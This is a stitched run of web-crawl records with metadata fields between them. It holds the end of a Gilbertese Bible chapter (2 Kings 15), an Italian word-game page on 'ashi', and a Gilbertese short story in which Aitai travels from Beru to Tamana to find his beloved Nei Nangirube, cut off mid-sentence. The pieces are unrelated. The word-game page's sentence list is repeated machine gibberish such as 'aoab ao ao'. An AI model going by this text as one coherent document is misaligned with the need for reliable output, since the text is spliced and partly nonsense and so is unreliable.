Eera n ekaanako Bika are natin Remaria, ao e oreia ma ni kamatea ao e a riki bwa te uea n onea mwina n ana ka-20 n ririki n tautaeka Iotam+ are natin Utia. 31 Ni kaineti ngkanne ma nikiran rongorongoni Bika ma bwaai ni kabane ake e karaoi, a koreaki n te boki are rongorongon aia tai uean Iteraera. 32 N ana kauoua n ririki n tautaeka Bika are natin Remaria are uean Iteraera, ao e a riki bwa te uea Iotam+ are natin Utia+ are Uean Iuta. 33 Bon 25 ana ririki ngke e riki bwa te uea, ao e tautaeka i Ierutarem i nanon 16 te ririki. Aran tinana Ierutia are natin Tatoka.+ 34 E teimatoa ni karaoa ae eti i matan Iehova, n aron are e karaoia tamana are Utia.+ 35 Ma a aki kanakoaki taabo aika rietata, ao a bon teimatoa naba aomata n angakarea ao ni kabueki karea ni kabubui n taabo aika rietata.+ Bon teuaei are katea mataroan oon ana auti Iehova are mai eta.+ 36 Ni kaineti ngkanne ma nikiran rongorongon Iotam ma te bwai are e karaoia, tiaki a koreaki n te boki are rongorongon aia tai uean Iuta? 37 Ni boong akanne ao Iehova e a kanakoa Retin are uean Turia ma Bika+ are natin Remaria, bwa a na ekaanako Iuta.+ 38 Ao e a wene ni motirawa Iotam i rarikia ana bakatibu, ao e kaiiaki i rarikia ana bakatibu n Ana Kaawa Tawita are ana bakatibu. Ao e a riki natina are Aati bwa te uea n onea mwina.\nTaiani Kabwarabwara Mai Nano\n^ Ae taekan Ieroboam ae te kauoman.\n^ Ae nanona, \"E a Tia n Ibuobuoki Iehova.\" E aranaki bwa Utia n 2Ue. 15:13; 2Ro. 26:1-23; It. 6:1; ao Tek. 14:5.\n^ Ke, \"baareti.\"\n^ Ke, \"baareti.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-uea\/15\/","date":"2018-02-18T07:34:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811794.67\/warc\/CC-MAIN-20180218062032-20180218082032-00391.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1196,"character_repetition_ratio":0.094,"word_repetition_ratio":0.209,"special_characters_ratio":0.246,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > A04 > ashi\nPAROLA : ashi\nLUNGHEZZA : 04\nALFAGRAMMA : ahis\nELENCO PAROLE CONTENUTE IN : ashi\ndi 02 lettere :\nas\nsh\nhi\ndi 03 lettere : ash shi\nALCUNE PAROLE CHE CONTENGONO : ashi\ncashier dishwashing fashionedness lashing splashing whitewashing washings thrashing squashing slashing bashing relashio mashing fashioner lashings cashiered cashiering pentashield clashing ohashi favrashi gnashing rashio rashida hashim cashiership dashiell washita shashich washingon cashie bashi0bazouks glashing obayashi washingtonph washinton bashi overwashing hashimoto kobashi yasmashire cashion kolashin washin plashing cashivos vashit furuhashi brashier ashing yamashita hashi brashiers yamashiro petrashishin ashine washingtonian cashiers washingont washier washingson kashia mashik kashima pkashima okashi takahashi nakashima kobayashi cashirighi washim gashing quashish yashiaka washiington bashie frashire fashionables chashier cashing hashigume fashionably waashington orashio frashier bashinger washingt washie quashie kitashima washingto washinvton brashier07 mcwashington sashian ashie tokashi washignton hashims washinging kawashiri\nFRASI CHE INIZIANO CON : ashi\naoab ao ao ao ao ao nides ao rtica ao rtico aoa aoa aoaass aoab\naoab ao ao ao ao ao nides ao rtica ao rtico aoa aoa aoa aoa\naoab aoac ao ao ao ao nides ao rtica ao rtico aoa aoa aoaass aoab\naoab aoac ao ao ao ao nides ao rtica ao rtico aoa aoa aoa aoa\naoab aoac aoad ao ao ao nides ao rtica ao rtico aoa aoa aoaass aoab\naoab aoac aoad ao ao ao nides ao rtica ao rtico aoa aoa aoa aoa\naoab aoac aoad aoaff ao ao nides ao rtica ao rtico aoa aoa aoaass aoab\naoab aoac aoad aoaff ao ao nides ao rtica ao rtico aoa aoa aoa aoa\naoab aoab aoac ao ao ao ao nides ao rtica ao rtico aoa aoa aoaass\naoab aoab aoac aoad ao ao ao nides ao rtica ao rtico aoa aoa aoaass\naoab aoab aoac aoad aoaff ao ao nides ao rtica ao rtico aoa aoa aoaass\naoab aoac aoac aoad ao ao ao nides ao rtica ao rtico aoa aoa aoaass\naoab aoac aoac aoad aoaff ao ao nides ao rtica ao rtico aoa aoa aoaass\naoab aoac aoad aoad aoaff ao ao nides ao rtica ao rtico aoa aoa aoaass\nHOME > A04 > ashi\n3879836389 WE219VR\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nemail@example.com\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.centrohd.com\/paroland\/pag\/a1\/a0400995.php","date":"2018-02-19T02:21:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812306.16\/warc\/CC-MAIN-20180219012716-20180219032716-00765.warc.gz","language":"gil","language_score":0.8955512047,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.8955512046813965, \"zea_Latn_score\": 0.09257369488477707}","num_words":399,"character_repetition_ratio":0.224,"word_repetition_ratio":0.349,"special_characters_ratio":0.188,"stopwords_ratio":0.195,"flagged_words_ratio":0.0,"lang_id_score":0.832,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"E TAENOA TE TANGIRA\n(Oteaki man koreaki iroun Iaareto Kabunare)\nE borau temanna te kaimoa ae arana Karatu ae nako Mwakin iaon te kaibuke ae MV Naauru. Ngke roko ikekei ao e aerake n te tabo ae kaitara ma te mwakoro ae arana Komuniti. Nao ko na mauri ko mwananga ma ia? Ana titiraki neiere Nei Ringita. Eh eh I nako mai Aranuka ana kaeka Karatu Nao I a bon ongongo naba taekan abam anne ae a rang n rietata taian tongo iai ao I tuai men noria. Bon ti te ti te tongo ao e uara te nikabubuti ikai?Oh ko taekina te nikabubuti? Moan te boiarara baana n te mwae moa riki n te mwananga iaon te kaibuke.Ko na kawara ngkai antai?\nN na kawara Nam Baete bwa e mena ikai ma tii raraon tamau ngkoa ni mwakuri i Banaba bwa a uaia ni mwakuri n te Keboro, Te titiraki riki teuana bwa e ngaa kain abam? Nao I bon tuai ni iein ma I a bon tia n nakonako ma te mwaane temanna. Oh ngaia I a ataia.raoi. Taiaoka neiko ko bia nanoangai ngkana I a tiku irarikim bwa ai raom? Ngaia e raoiroi nakomai irai bwa ti a nako ni mwengau.e a roko\nNeiko antai raom anne?\nBon raou ae boou ae moan te boboto.\nKo na mauri\nKaaraki ikai tekateka\nNao kanga ti a bon rangi ni kakabwaiaki ni menam ibuakora.\nA bane n roko kaain rarikia man uoti nako aia wabwaene ao a kume naba n amwarake ma te kukurei ibukin aia irua ae tibwa roko irarikiia.\nTe bong are imwiina\nNao, ani uti bwa ko na katauraoiko man kamarikeko imwain te mwananga.\nNgke a mwananga ao a kaneweaba aia irua iaon B'aan Nakaa ao te nei ni mon are atongaki.Ngke a oki ao e a bon bong, e a bon roko te kua irouna ao e a bon aki manga anga ana tai me ea matu nako naba. E a kautaki ibukin te amwarake ao e aki kan uti bwa e a kua. Inanon matuuna ao ea mii bwa aongkoa e noora temanna te aine ae te ataeinaine ae tei ietan te nei ae bubura ae anoanoia bwa e na kawaria. E bon nakon te ataeinaine anne ao ngke e nang taua baina, ao e uti naba.\nAi aki raura ai antai naba te ataeinaine are anoanoai are I noria n te mii arei?\nKanga e kakamaku te aba aio bwa tao e mwaiti iai te anti?\nE a ongo weteakina iroun Nei Ringita ae kangai \"Karatu Karatu ngaia are e uti iai.\nNao tera ae ko kakarongoaia?\nKo aera ko mweroaroa?\nKai tao eng bwa I mii bwa e weteai temanna te ataeinaine mai etan te nei arei I miia ao ngke N nang taua baina ao I a uti naba.\nNao tao bon iai te ataeinaine ae ko tangiria ao ko a taku naba bwa akea raom\nI bon koaua kai akea ae I a tia n tangiria.\nAi ngkam kanga ko a manga kewe.\nNeiko N na kanga ni kewe, Titebo ma te karaki teuana ae N nang karakinna nakoim.\nNgke e tia reirei I Banaba ngkoa teuare Tebaubwebwe, ao iai ataein ana reirei aika uoman aika araia Aitai, ao Nei Nangirube.\nE rangi ni kinaiia teuae Tebaubwebwe ao akea bwa e a kitana naba Banaba neiere Nei Nangirube bwa e aa bane aia tai ana karo ni mwakuri n te BPC ma iai te kanganga bwa e a reke nanona n tangira teuare Ten Aitai, ao ai bon aron naba Ten Aitai ma e na kangaa bwa are akea aia kona bwa e a tia te babaire ao e taenoa te nako. Aia kabanea ni babaire ataei aikai bwa a na kaitibo iaon Kiribati i bon iaon abaia Aban neierei bon Tamana n te tabo ae Bakaka . Akea ana ataibwai te ataeinaine aio i abana ae Tamana bwa are bungiaki i Banaba.\nMa ngaia are e bon rangi n nanokawaki bwa tera ae na riki.E rangi ni kubanako naba Ten Aitai bwa e aki noora neiere Nei Nangirube n roko n te reirei bwa ngaia e a tokanako n te MV Anchun ae te kaibuke n aeaeki ibukiia taan mwakuri.\nE titiraki ma te tang te ataeinimwane aio nakoia ana karo bwa tera ae na karaoia.\nE titiraki naba nakoia raraona n reirei bwa a noora neiere Nei Nangirube ke aki tii teuana te kaeka bwa e a tia n tokanako n te kaibuke.\nTamau, I a kainano n tangira Nei Nangirube ao ai tera ae N nang karaoia?\nKaraua nanom natiu Taninga tain te aeaeki are imwiina ibukiia taan mwakuri bwa N nang aki tiaina bwa ko aonga ni kona n nora neiene ko tangiria anne.\nTamau tao a na manra ara tataninga?\nKeiaki natiu bwa teuana te ririki?\nTeuana te ririki?\nAi kawara ngai ngkana I aki kona ni manga noria. (e taetae ao e tang man kaoi ranimatana ni beena)\nTamau I aki kona n nako n rimoa n te kaibuke teuana bwa I aong ni kona n noora Nei Nangirube?\nNatiu, Keiaki bwa are akea ae kinako are na buokiko bwa are ko bungiaki ikai iaon Banaba ao a bon aki kona ni kinako au utu ake iaon Nuka i Beru.\nAntai am koraki akanne?\nNatiu tai karekea nanom n anne bwa ko na ataia bwa e waekoa te tai ao ko na kona n nora iai raom ngkana ti oki nako Beru.\nBwa e mena naba i Beru Nei Nangirube?\nE ee aki bwa e mena i Tamana\nAo N na kanga ngkanne n noria?\nAi kawara ngai bwa I a kainano n tangira Nei Nangirube.\nNatiu kekeiaki bwa ti na butiia Tamara are i karawa karauan nanom.\nA maroroakina ana kanganga natiia nakai bwa are a ataia bwa e a roko te kanganga iroun natiia ao a riai n tararuaia bwa e kawa n riki te anga teuaana nakoina.\nTe bong teuana ao e a rawa natiia taanga aikai n nakon te reirei bwa e a kainano n ana tangira.\nA kekeiaki ni karaua nanon natiia ao ake a bwa e a kabwaka ana taeka man taku ngkana e aki reke Nei Nangirube ao uringa bwa akea riki tokin nanou bwa N na bon mate n te tai teuana.\nA bon aki rau kaaro aikai ni matu ibukin nanoangakin natiia.\nA bwakanako taai ao e a koro teuana te ririki are e a manga roko tain te aeaeki nako Banaba ma Nauru\nE a aki manga tiku ni mwakuri riki te karo aio ma e a motika\nnanona te oki nako Beru bwa e aonga ni kakoroa nanon natina ae a koro ana tangira ibukin Nei Nangirube\nTi nang oki natiu nako Beru bwa ko aonga ni kakoroa nanon am tangira ae ko a kainano iai.\nNgaia tamau ma N na kanga n nako Tamana ngkana ti roko i Beru?\nNatiu tataninga bwa ngkana ti roko ikekei ao I a tuangko aron rokom ikekei ao kawaim n nako ni kawara Nei Nangirube\nNgke e a ria Beru ao a katauraoi aia bwai imwain ruoia nakon te booti.\nAi kangangara rietatan te kaibuke aio.\nTamau, iai ara koraki ngkai imwaira aika a na butimwaira?\nNatiu tai raraoma bwa a bon mwaiti tariu ao mwaneu aika mena ke ni maeka ikai, bon tii ngai ae I aa kaman nako ni borau nako Banab ma tinam ngke tebwi ma ruaiua au ririki ao I a iein naba ma tinam aio ao ti a borau naba nako Banaba. Ko bon bungiaki ao ni ikawai naba i Banaba. I kan kaotia naba nakoim bwa aron te maiu i Beru e kaokoro ma are i Banaba bwa e mwaiti te amwarake ae rereke ikekei ao bon tiaki amwaraken Kiribati bwa bon kanaia I-Matang.\nE mwaiti naba te amwarake ikai ma tiaki te amwarake are aekan are ti kanna ikekei bwa ikai te amwarake bon te mai, te ika te ben, te tou ao a mwaiti riki. Natiu keiaki tai niniku n te amwarake ke?\nE kaeka natina ao e taku, ngaia N na bon karaoa ane ko taku.\nNgke a toka n te booti ao a roko n te tabo are aki kona n roko iai te raanti, ao a bon buuru taian bootikuru (boatcrews) ni karokoira i mataniwin te bike,\nKam na mauri taian bwatintia\nkam na mauri naba kaain Beru aika kam tangiraki\nE ngaa ara kawa?\nE mena i mainikun te nama\nRaroara mai ikai?\nNatiu e aki rangi n raroa bwa tao e kaan uoua te maire mai ikai.\nAo antai aran te kawa aei?\nAio kawan te Tua ao arana Tabukiniberu.\nE raoiroi ma urakin ara bwai mai aon te booti bwa aonga ni bane ao ti a nako naba nakon ara kawa.\nAkea te motoka ikai?\nAkea raom Tiaki Banaba aio.\nAo ti na kanga ni urakin ara bwai aika bubura aikai.\nN na manga okiri nakon te ingabong n te waa bwa a bon aki kona ni urakinaki n te bwatika.\nKam na mauri!\nMauri Butikan\nE uara te mwakuri n te BPC?\nE raoiroi ma e nang kanga ao ae ti a oki bwa ti na motirawa moa.\nNao natim aio?\nNgaia anne\nAntai arana?\nTen Aitai arana.\nNao, ko a kauta tibum are ko tatangiria arei?\nAi bon ingoana bwa bwa are ai akea\nE koaua. Iai ami bwai ae I kona ni buoki?\nKo a buokai ningabong.\nNgaia e raoiroi ma I a kawariko n ami tabo, ah kam na mena ia ngkanne bwa are ai akea ami auti?\nNao, Ti a tiku moa iroun Nei Ritian are mwaneu\nOh ngaia I a kawariko nakon te ingabong .\nTamau antai teuarei?\nNatiu bon raraou ngke I ataeini mwane ngkoa.\nE na buokai naba n nako ni kakaea Nei Nangirube?\nNatiu taona nanom ae ti a roko ikai ma ti na iangoa aron reken Nei Nangirube\nNgke a tia ni urakin aia bwai mai Tabukiniberu n te waa, ao a bon katea aia auti.\nNgke tia aia auti,ao a bon waaki ni iango bwa e kanga aron aia waaki ngkai ni iangoa aron tokin nanon natiia.\nA kawara te Tia Borau ae arana Teitiba ae kaain te kawa are Tabiang\nTaiaoka Teitiba Ti na kawariko.\nNakomai,\nNgke a tekateka te tanga aio ao a bon uota aia moanei ae teuana te bomwangko ni iriko, teuana te baeki ae on n te bwerena ao ai te raiti ma te ii ao te tioka.\nTeitiba ko aki akaka ni baikai.\nAo kanga tera ngkanne ami rongorongo ae I kona ni buoki ngkami iai.\nNao, ti kan buoka natira aio bwa e tangira ataeinainen Tamana ae arana Nei Nangirube.\nAo e ngaa te ataeinaine anne?\nAre i Tamana.\nI Tamana?\nAo tera ngkanne ae kanga I kona ni karaoia nakoina iai.\nTi kan bubutiko e kona n reke buokana n nikiraki ikekei?\nOh Kam tangirai bwa N na nikiria i Tamana?\nAo kan taninga teutana bwa N na noori moa maan ni borau.\nE otinako tabeua te miniti ao rimwi e oki.\nE a kaeka man taku. A bwakanako maan ni wairio ma N na buti ngkami bwa N nna noora are n te karangaina Kam kona n tiku ni matu bwa I aonga n ae I a tuangkami naba bwa tera te tai ae raoiroi ibukin au mwananga ma natimi ane N na nikiria anne.\nAkea ara kanganga.\nE a waaki katoroan te ranibue ao te kuuka ao akea be a nako naba tain te kang bomwangko\nNao ai tera bae Banaba aio ko na kainano ni kakaea kanam ke nimam te ii ae mirikinaki ai kakamaeura te mena n te tabo ae kaubwai.\nE koaua anne.\nA matu tanga aikai ao aikoa namakina te bwai teuana ae tabeakinna teuare Teitiba.\nNgke e a karangaina ao e a noori maan ni borau ao e a uia kawaina ma natiia tanga aikai ao e tuangiia bwa imwin tenua te bong ao a na katau ni borau.\nA koro namatan boong, ao akea bwa ai a katauraoi teuae Teitiba ma Aitai iaon waaaia ni borau nako Tamana.\nA kabo ma natiia taanga aikai ao Teitiba ao a nora ieni waaia inanon aibweabwean ngaina ni kaineta Rawanimwake.\nAitai, ko kona n tuangai bwa e uara tangirakin raom ane Nei Nangirube? E tang te taeinimwane aio ao e taku ngkana e aki reke irou ao N na mate iai.\nTai karawawata nanom bwa are bon aron te tangira ma ko na kamwaneko imwain baika a na riki.\nNgaia N na tauraoi.\nE a taetae Teitiba nakon te Ataeinimwane aio man taku, Ko ataia e mauanti mwanangara ao noria ko noora te bwai ane bangaki inanon marawa anne?\nBwa tera te bwai anne?\nTe Ntokitoki?\nA tera?\nTeKua ae moan te abwabwaki.\nTi na ribukina ni kararoaira bwa e rawa n ae oroira\nE a riakina waia Teitiba ni kaea bukina. Ngke roko ibukina ao e a moanna naba ni kamakuri\nte Ntokitoki anne man tabeka rake bukina ao n orea waaia ma e a kaman tia n riakina waana Teitiba, ma ngaia are e a baraki inanon waana man ana ana bwaene ae ana kete ao ni karina baina inanona man anaa ana kai ni kakiki.\nE a noria bwa e a rei te kua arei man tabekarake rabwatana bwa e na einakoia iaoniwaia.\nE kaeta tabon ana kai ni kakiki ni kaineta bwabwan te kua anne ngke mwemwerake man karara tangin ana kai ni kakiki. E a aki mwemwe te kua anne ma e a einako naba man mate i taari. E ikerake Teitiba ao e a kataia ni kaararakea waana bwa e na kararoa te kua arei.\nAitai, aio ana wewete Teitiba\nE kaeka Aitai ao e taku Aio ngai.\nE wii ngare Teitibwa ao e taku e kamimi kawaim aio bwa ataia manin marawa ao manin karawa, ko noria eitei aikai?\nEng I noria. Bwa a bon ataia bwa ko na mwananga ma ngaia ae a iriko ni kamauriko Aia mwakuri a kitea nanon marawa man noria bwa iai riki taan tiringko ke akea.\nMa ngkai ko noria bwa a aki mwawa mai aora, bwa a katanira bwa ti na aki noraki n te tirotaam mai karawa irouia taian kua.\nE mata ni maku Aitai ma e bon teimatoa n ana tangira ao e nanoni mwane.\nE a ria Arorae imwin teuana te bong!\nKo nora te tabo ae ti toua ti ri tanrake bwa ti toua kawaia Uamumuri ma Nanikain ao Ten Tabutoa imwin birinakoia ngke a uota nako ainen te Takakaro are arana Nei Teweia mai Beru.\nTe tabo ae i tanrake mai meangin Tamana, ane ko na noria ngkana ti roko iai bon bwaan Tabutoa ngke e mate be kareia teuare aintoan Tabiteuea i Tauma are arana Tebweka. Kamai au ao ane imoa ikanne bwa ti na katika orara te baiura..\nNgke e a katiki Teitiba, ao e a teke te ingimea ao a katikia man korokoroia bwa oraia.\nTi na kataia ni kaea te iabuti are n te karangaina i Tamana ao N na kabwakako i aan Barebuka ao ngkoe ngkanne ko na kawara antai?\nE rangi n raoiroi riki bwa ko na kawara te mitinare bwa are akea ae ko kinaa ikanne ke iai?\nE koaua ane ko taku anne ao N na kanga nakon te mitinare ke tera ae N na taekinna nakoina?\nKaota raoi bukin rokom nakoina ao tai karabaa te bwai teuana bwa e na ataia. Noria ko tataninga tabwenan ngaina ao ngkana e ai oota, ko a tibwa nakon ana auti te mitinare man butia am rongorongo anne.Aran te mitinare anne bon B'ataing ae buun Nei Biteta\nAo ngkoe ko na mena iaa?\nTai raraoma irou bwa I bon tataningaiko i tabon te aba mai maiaki, ma ngkana ko kakaeai ma akea ngai ikekei, ao ngkanne tai maku tai raraoma bwa I a karairaki n nako Beru, ao ngkoe are ko a roko n tokin kawaim, bwa noria tii 3 te bong au tai n tataninga i tanraken te tabo ae Bakakaa, ao kataia kawarai iai kabanean am tai ni kawarai bon mwin te tawanou are e a matairake te iabuti iai.I a kantaningaiko ikanne ngkana e a reke raom iroum, ke ngkana e bitaki am iango bwa ko na kaibuke n oki nako Beru, ao ngai ngkanne I a rimoa n oki.\nNoria ko riai ni matu ngkai bwa are ko na kamarurungko nakon tabem ao am tangira ane ko tabeakinna anne Tekeraoi n am waaki.\nE nori matan Aitai teuae Teitiba, ao a bon waanako ranimatana,\nKo aera ngkai ko tang?\nEkaeka Aitai man taku \"I bon tang bwa e onrake nanou n norakin am tangira ao am buobuoki ae moan te kanganga warekakina inanou n norakin buokakiu ae moan te bati ao moan te kaanganga karaoakina, ao are e bon aki kona naba au karo ni karaoia.\"\nE matangare Teitiba ao e katika te ataeinimwane aio man rabwatia ao e taku, \"Ngai ngkai am karo n onea mwin am karo n te tai aio, tai manga tanrikaki ma taraa moam kaeta kawaim bwa ko nang bon uota oin uotam n te tai aio.\" E ororea tabon angana man kaunga nanona ao e taku \"An tauraoi mwananga.\"\nE a waaki nako te ataei ni mwane aio ae Aitai man kaineta ana tabo te Mitinare E kataia n ni kan ataia bwa e ngaa ana auti ma are e a kaman ataia bwa aia auti mitinare e bon kaokoro ma autin te kawa bwa e bon kateaki ni ua kaan nakon te umwantabu.\nN ana kanamakin anne ao e a tataninga iaon teuana te atibu ae mena irariki te kawai ae kawain ana auti te mitinare. E bon rootongitong te tai anne ma e bon tataninga tabwenan ngaina. Ngke e a tabwena mainiku, ao akea bwa e a noora naba temanna te aomata ae uoti ana ibu man nako ni korokarewe. E kuri n aki kakoaua bwa te tia korokarewe ngke noori ana ibu aika e riaon 40 mwaitina ao kanga e a roko te maroa irouna be taku bwa tao ai te anti. E bon ataia bwa mwaitin aia ibu aomata i abana e aki kona n roko n te mwaiti anne.\nE a kubanako naba ngke taetae nakoina te Tia Korokarewe man taku Naewa, tera ae ko iangoia?ko a rang utimwaaka?\nE kaeka bwa N na kawara te mitinare n ana auti.\nNao akea te mitinare ikanne are mamatu n te mwaneaba bwa are te aomata ae bubura ao e bubue n te tairiki n ana auti\nNgaia ko rabwa ma N nako ni kawaria ikekei.\nNgke e roko n te mwaneaba ao e a bon ongo ringongon te mitinare.\nE a nako n tekaateka ietan atuna man wewete Te Mitinare, Te Mitinare, Te Mitinare. E a uti te Mitinare man kaeka, \"Anaia tera am rongorongo, ma irarikina antai moa ngkoe? I tuai men nonoriko mai mwaina?\nKabwara au bure te mitinare ma arau bon Aitai ao kaain Beru ngai ao I a bon tibwa roko n te bong aei.\nKo toka n te kaibuke? Tera te kaibuke anne?\nI aki roko n te kaaibuke ma I roko n te waa mai Beru?\nTe waa mai Beru?Ko a manga keweai?\nI aki keweiko te mitinare ma iai raou ae I borau ma ngaia ao ane e bon tataningai ngkai ni waana i tanraken Barebuka.\nE a bon uti raoi ngkai te mitinare ao e a moanna ni kakoaua, ao e a titirakinna. Tera ae I kona ni buokiko iai?\nTaiaoka bwa I roko bwa iai te ataeinaine ae I tangiria mai Banaba ngke a mwakuri ara karo ikekei, ao e a tia n oki nakomai. I a kainano n tangiria ao I tangiria ni mareaki ma ngaia ngkana riai ikai.\nAntai arana?\nArana Nei Nangirube\nNgaia are natiia Kaboka maa?\nNgaia raoi anne.\nKo kainano n tangiria ?\nEng I kainano n tangiria.\nE aki kakarongoa teutana te mitinare ao e tabe ni iango,ngke tia ni iango, ao e taraa matan te ataeinimwane aio man taku E kinako neiei?\nEng e kinaai raoi.\nKo tangiria ni kawaria ngkai ke ningai?\nNoria te mitinare I a nakoina n tairiki n ana auti ma I kona n tiku moa irarikim ikai?\nEng ko kona ma e kanga raom are i taari,\nTai tabe irouna be a tia ngkanne n nako (e a tibwa uringa are na aki kaota raona nakoia aomata)\nNgke e a tairiki, ao e a tuanga te mitinare be na nako moa ni kaninganinga neiere e tangiria.\nE a nakonako n te roo ao e a kaitibo ma temanna te ataeinimwane. Nao ko na nakea?\nN na nakoaiaki.\nNao ko ataa ana auti Nei Nangirube?\nEng I ataia.\nKo kona ni kairai nako iai?\nTi a nako.\nNgke a roko ikekei ao e a ongo te bwana ae bon rangi ni kinaaki ao te bwana are e bon mamatenanoia n ana tai iaon Banaba. E taraa te tabo are nako ma iai ao e a kataia ni kakaea be ngaa te ataeinaine anne?\nE a tuangaki iroun te ataeinimwane anne ni kangai \"Ao anne ana auti.\"\nKo rabwa ma an nako kitanai ikai.\nE a nako te ataeinimwane arei ao ngaia e a tei iaan te roo man tataninga kaotin moan Nei Nangirube, ma tatan buroona ae moan te korakora. E kekeiaki ni karaua nanona be na aki ingarake ke n raa riki.\nE a ongo ngkanne bwanan tamana ni wetea te ataeinaine anne Nangirube, Nangirube,\ne a kaoti neiei iaan te taura ae aki bati n ota ma ngke e a kaoti moana ao e taku teuae Aitai bwa kanga moan te anera ae rangi ni itiaki.E kakammari inanona man taku ko taku bwa e na aki kona Aitai n roko i abam ae tangiraki ae Tamana? E aera neiko ko aki ataa te I-Beru ae bane arona n te tangira. Engae n abwabwaki marawa ma e bon uarereke n te tangira. Ngke kume n taetae, ao e aki tabe n noria bwa e a okakinako naba iroun temanna te aomata ae tabe n nakonako ae mataki. E bon kubanako ngke e okakinako ao e a ientaka naba ni manga rairaki ao e aki ataia ae e a kabwaka te mataki anne, ao e a un naba te mataki anne. Nao ko aera ngkai ko a bon tewenakoai naba?\nTaiaoka ma kabwara au bure bwa tiaki nanou\nTiaki nanom? Ko ee ni Beru nako ni kanga ao ko baka n aki tewenakoai, ko iowawa?\nE kume naba ni kabwara bure ngke a ongo kain ana auti Nei Nangirube, ao a biri n nakon te tabo are kakarongoa iai te mataki arei. Te moan biri n otinako bon Kaboka are taman Nei Nangirube are e a ira tangan te mataki ma are e aki tabwara me a nako naba te kai are Ruabou me ea wene naba Aitai i aontano ma matana ae tibutau ae te atai. E kabwara naba ana bure teuae Aitai. \"Taiaoka kabwara au bure\" tiaki nanou bwa N na kabwaka teuaei ma e bon okainako ao I kubanako n rairaki ao e a bwaka naba. \"E ongo te bwana neiere Nei Nangirube ao e biri n taua ana karo ao e taku nakoina, antai te aomata ae ko oreia anne?\nKan kina moa. E ienikuri ni baraki man kateirakea te aomata arei, kai kanga titebo bwanana ma Ten Aitai, kaota moana n te tooti.\nNgke noora otan te tooti Aitai ao e a baraki ni karaba matana be na aki kinaki, E a baraki Nei Nangirube man kataia n rairia ao e bon keiaki naba Aitai n aki kona n rairaki bwa e a onrake..e na manga reitaki\nnanona n te kukurei ngke e a bon tauaki baina iroun raona are kitanna ngkoa i Banaba ao are e a manga borauakinna mai mai Beru. E a bubuti neiei nakoina man taku, \"Nao I butiko ma an rairaki ao teirake bwa N na taea te tano ae i akuum aio ao e kanakoa baina man tai taetaea taetaea te tano. E a un te karo man taku kanakoa ma antai taetaea akuna.\nE kaeka natina man taku \"Ti na kina moa ba antai. E bon rangi n rotaki nanon Aitai n ana taeka raona aei ao a bon bwaka ranimatana\nE a manga bubuti neiei bwa e na teirake.\nE a rairaki teuae Aitai ao e a oti moana e tabwanin raoi n te tooti.\n\"Aitai Aitai, Aitai, boni ngkoe e ienikuri n rabwata Aitai Nei Nangirube ao e toro karaki nakon ana karo\" E uara tokin nanom ko a kakaioro naba n aki akaka ao n akea bukina ao ko aki ataia bwa ko a orea marewen nanon natim aei. Ai kawara Aitai iroum. Aitai I tangiriko n akea riki, ao I butiko ma kabwara ana bure au karo be aki kinako. Ko bon rangi n atataiaomata. Ao I bon ataa am katei ni koaua ae te tangira ae akea kabotauana. Ko kanga n roko ikai? Ko toka n tera? Nakomai bwa ti a nakon te auti.\nE kaeka Aitai ma matana ae buru man rara im win oreakina ae kume ni kakaoia n ana kawere E kairia nakon ana auti ao e a nakon te ruu man maroro ma ngaia. E kua n rabwata raona arei e kua ni kitinna e kua n aaniwaeia, e kua n raa riki ao n raa riki.\nE bon uringa naba Aitai bwa anne te bong are ai bon ana tai ae riai ni kaea te waa bwa e nang karairaki nako Beru ma raona are Teitiba are bon tataninga naba n te waa i tanraken Barebuka. E ienikuri n tuanga raona are Nei Nangirube bwa rokona aio e na kairia nako n nako Beru n te waa.\nE a kaeka Nei Nangirube bwa e kona ni kawaeremwea teutana mwanangaia bwa e na katiai bwaai tabeua nakoia ana karo.\nE ienikuri nakon Teitiba teuare Aitai man tuanga e kona n iremwe teutana mwanangaia?\nE a kariaia Teitiba ao e tuanga Aitai. \"Uringa bwa kabanean te bong ae mwawa nakon te iangabong inanon te tawanaou, ao ko riai ni waetata n oki ngkana ko aki oki ao N na kitaniko nako Beru ma ko a bon iangoa rokom n te kaibuke\" E kariaia teuare Aitai ao akea be ea okira neiere raona arei inanon naba te nukanibong ao man kaongoa neiere raona man taku I tuangaki roun Teitibwa bwa au kabanea ni bong bon te tawanou nakon te ingabong, ngkana I aki roko ao e nang kitanai. Tera am iango bwa ngai I tangiria bwa N na kairiko nako Beru.?\nE kaeka neierei man taku \"Akea au kanganga ma N na katia moa au babaire ma au karo ao tinau ao ngkanne I a mwananga naba ma ngkoe. Ko na taningai teutana bwa N na nako ni maroro ma tibu are n ana auti ao I a okiriko naba.\nAitai, I a oki ma Noria aio te babaire ae I kan kaotia nakoim,Ti na waekoa ni kitana ikai nakon te karangaina bwa ko ataia aki kukurei au karo bwa N na iriko n te waa ma I aki bae naba ma ngaia, ma ko na berita nakoiu bwa iai temanna te tibwaai bwa tibuu are n ana auti arei ae ngaia ae aki toki ni kakaongoia au karo taian rongorongo ao e a tia n ataa te iango aio ma ko na berita nakoiu bwa e aonga ni koro bukin ara iango.\nTera am berita anne?\nKo na bon aki kaaki tangirau ao ko na kawakinai raoi ngkana I iriko nako abam ko na aki ororeai ao ko na teimatoa ni kawakinai ngkana I a mena irarikim.\nKo na aki raraoma bwa I bon tangiriko, N na karaoi bwaai ni kabane aika ko tangirii.\nNoria an rimoau birnakon te waa bwa I a rimwiko bwa N na kaboo nakon tariu ae te ka rimwi are ko bon kina ngkoa i 